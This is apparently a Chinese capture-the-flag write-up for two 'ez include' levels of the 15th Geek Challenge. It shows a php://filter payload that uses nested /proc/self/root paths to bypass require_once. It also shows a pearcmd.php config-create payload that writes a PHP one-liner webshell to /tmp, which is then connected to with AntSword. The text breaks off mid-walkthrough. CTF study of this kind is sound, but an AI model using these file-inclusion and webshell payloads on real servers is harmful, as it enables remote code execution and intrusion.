绕过 require_once

第十五届极客大挑战 ez include 第一关

1
2
3
4
5
6
7
8
9
10
<?php
highlight_file(__FILE__);
require_once 'starven_secret.php';
if(isset($_GET['file'])) {
if(preg_match('/starven_secret.php/i', $_GET['file'])) {
require_once $_GET['file'];
}else{
echo "还想非预期?";
}
}

php的文件包含机制是将已经包含的文件与文件的真实路径放进哈希表中,当已经require_once(‘starven_secret.php’),已经include的文件不可以再require_once。这里需要绕过require_once,让php认为我们传入的文件名不在哈希表中,又可以让php能找到这个文件,读取到内容。

知识点:/proc/self指向当前进程的/proc/pid/,/proc/self/root/是指向/的符号链接,require_once包含的软链接层数较多时once的hash匹配会直接失效造成重复包含,想到这里,用伪协议配合多级符号链接的办法进行绕过。
Payload:

1
?file=php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/starven_secret.php

pearcmd.php 实现本地文件包含

第十五届极客大挑战 ez include 第二关

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
error_reporting(0);
highlight_file(__FILE__);
if (isset($_GET ["syc"])){
$file = $_GET ["syc"];
$hint = "register_argc_argv = On";
if (preg_match("/config|create|filter|download|phar|log|sess|-c|-d|%|data/i", $file)) {
die("hint都给的这么明显了还不会做?");
}
if(substr($_SERVER['REQUEST_URI'], -4) === '.php'){
include $file;
}
}

前置知识:

register_argc_argv 开启的情况下,url中?后面的内容都会传入$_SERVER[‘argv’]这个变量里,并且&是无法分割参数的,真正能有效分割参数的是+号。

pecl是PHP中用于管理扩展而使用的命令行工具,而pear是pecl依赖的类库。在7.3及以前,pecl/pear是默认安装的;在7.4及以后,需要我们在编译PHP的时候指定–with-pear才会安装。不过,在Docker任意版本镜像中,pcel/pear都会被默认安装,安装的路径在/usr/local/lib/php。

查看pearcmd.php所有命令:

我们使用的是config-create命令,这个命令需要传入两个参数,其中第二个参数是写入的文件路径,第一个参数会被写入到这个文件中。
将这两个点结合起来,文件包含漏洞就产生了,第一点可以将可控参数写入argv,第二点中pear会获取命令行argv参数执行。

首先将<?=phpinfo()?>写入/tmp/ffff.php
Payload:

1
?+config-create+/&syc=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/ffff.php

这里要注意不能用hackbar直接上传payload而是需要先burp抓包再上传,因为直接上传会导致<>被编码,php代码无法执行。

再包含这个文件:

拿到flag:

同样我们也可以写一句话木马:

1
?+config-create+/&syc=/usr/local/lib/php/pearcmd.php&/<?=@eval($_POST['pass']);?>+/tmp/ffff.php

使用蚁剑连接 http://80-194f32e2-bc9a-4979-8dd7-d25658f191d3.challenge.ctfplus.cn/levelllll2.php?syc=/tmp/ffff.php,然后在虚拟终端查看环境变量: